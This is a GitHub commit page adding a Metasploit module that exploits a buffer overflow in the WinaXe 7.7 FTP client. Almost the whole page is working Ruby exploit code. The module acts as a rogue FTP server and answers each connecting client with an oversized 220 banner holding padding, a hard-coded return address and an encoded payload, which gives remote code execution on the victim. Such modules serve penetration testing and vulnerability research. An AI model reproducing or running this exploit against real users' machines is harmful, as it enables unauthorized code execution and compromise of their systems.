Skip to content

Commit 689fc28

Browse files
committed
Added WinaXe 7.7 FTP client Server Ready buffer overflow
1 parent 6ba5e9c commit 689fc28

File tree

1 file changed

+75
-0
lines changed

1 file changed

+75
-0
lines changed
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GoodRanking
8+
9+
include Msf::Exploit::Remote::FtpServer
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'WinaXe 7.7 FTP Client Remote Buffer Overflow',
14+
'Description' => %q{
15+
This module exploits a buffer overflow in the WinaXe 7.7 FTP client.
16+
This issue is triggered when a client connects to the server and is
17+
expecting the Server Ready response.
18+
},
19+
'Author' =>
20+
[
21+
'Chris Higgins', # msf Module -- @ch1gg1ns
22+
'hyp3rlix' # Original discovery
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' =>
26+
[
27+
[ 'EDB', '40693'],
28+
[ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ], # Put this in later
29+
],
30+
'DefaultOptions' =>
31+
{
32+
'EXITFUNC' => 'thread',
33+
},
34+
'Payload' =>
35+
{
36+
'Space' => 1000,
37+
'BadChars' => "\x00\x0a\x0d",
38+
},
39+
'Platform' => 'win',
40+
'Targets' =>
41+
[
42+
[ 'Windows Universal', {
43+
'Offset' => 2065,
44+
'Ret' => 0x68017296} ], # push esp # ret 0x04 WCMDPA10.dll
45+
],
46+
'Privileged' => false,
47+
'DisclosureDate' => 'Nov 03 2016',
48+
'DefaultTarget' => 0))
49+
end
50+
51+
def setup
52+
super
53+
end
54+
55+
def on_client_unknown_command(c,cmd,arg)
56+
c.put("200 OK\r\n")
57+
end
58+
59+
#def on_client_command_list(c,arg)
60+
def on_client_connect(c)
61+
print_status("Client connected...")
62+
63+
sploit = rand_text(target['Offset'])
64+
sploit << [target.ret].pack('V')
65+
sploit << make_nops(10)
66+
sploit << payload.encoded
67+
sploit << make_nops(20)
68+
69+
print_status("Sending exploit")
70+
c.put("220" + sploit + "\r\n")
71+
c.close
72+
return
73+
end
74+
75+
end

0 commit comments

Comments
 (0)